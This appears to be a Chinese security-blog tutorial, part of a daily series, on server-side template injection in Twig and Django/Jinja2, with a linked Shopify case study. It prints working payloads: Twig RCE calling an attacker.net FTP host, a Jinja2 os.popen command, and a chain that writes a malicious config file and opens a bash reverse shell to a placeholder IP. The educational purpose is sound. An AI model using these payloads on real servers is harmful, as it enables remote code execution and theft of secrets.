[Day11] SSTI (Server Side Template Injection)

前言

系列完成3分之1了,今天来谈谈SSTI吧

正文

简介

SSTI,全称Server Side Template Injection服务器模板注入,这是一种将恶意内容注入到Web Server执行命令的漏洞,可藉由SSTI导致RCE或读取Server上的敏感资讯,因此这种漏洞通常很严重。

模板(Template)引擎的目的是将固定模板和volatile data结合来产生网页,当User输入可以直接连结到模板,让攻击者可以注入模板指令并且操纵模板引擎时,可能就能完全控制Server。

范例

$showuser = $twig - > render("Hi " . $_GET['username']

在上面的范例里面,这个twig模板的一部分是由GET取得username参数来动态产生的,这可能允许攻击者将payload放进username的参数中:
http://example.com/?username={{7*7}}
这时候一个具有SSTI漏洞的网页就可能Response Hi 49

当然,最严重的莫过於可以RCE了

  • {{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}
  • {{['id']|filter('system')}}

再看一个具有SSTI漏洞的Django网页,若是发送底下的Request

http://example-django.com/?username={% debug %}
就会在Response中显示Django的debug资讯,例如django core运作的message,或是注入{{settings.SECRET_KEY}}来得到金钥,Django会用SECRET_KEY来加密session内容、处理cookie、管理资料库的帐号密码等等。

由於Django是使用Jinja2的模板引擎,若要进行RCE,可以使用以下payload:
{{ cycler.__init__.__globals__.os.popen('id').read() }}

若是将id换成reverse shell,当然也就可以取得Server的initial access

或是写入一个恶意的config档案也可以做到

# 恶意config档案
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} 

# 载入恶意config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# 弹reverse shell
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1"',shell=True) }} 

更多SSTI可参考PayloadsAllTheThings

Case Study

Shopify

我认为作者的blog将整个漏洞解释得很完美,因此我将不对此下注解跟简略介绍:
Handlebars template injection and RCE in a Shopify app


<<:  第二十一天:TeamCity 技术名词回顾

>>:  Day 11 - 那个很常用到的 useEffect

[Day24] 谈谈写测试的好处:从为你自己写测试开始

前几周主要都在谈 TypeScript,对我来说 TypeScript 最重要的是能增加程序的可维护...

【在厨房想30天的演算法】Day 05 资料结构之冰箱整理术

Aloha!又是我少女人妻 Uerica!昨晚跟朋友聊天突然发现,如果没有最终目标或目标不够明确,那...

【Day 08】- 见鬼了(っ °Д °;)っ我明明没有启动这支程序…

Agenda 资安宣言 测试环境与工具 学习目标 技术原理与程序码 下期预告 资安宣言 撰写本系列文...

[想试试看JavaScript ] 流程控制 回圈

流程控制 回圈 当希望程序自动重复做事时,我们可以使用回圈来处理 console.log(1) co...

Day 11: Structural patterns - Adapter

目的 如何在不修改物件的情况上,使用中间层(Adapter)後,能转换跟其他物件联系,同时原有功能不...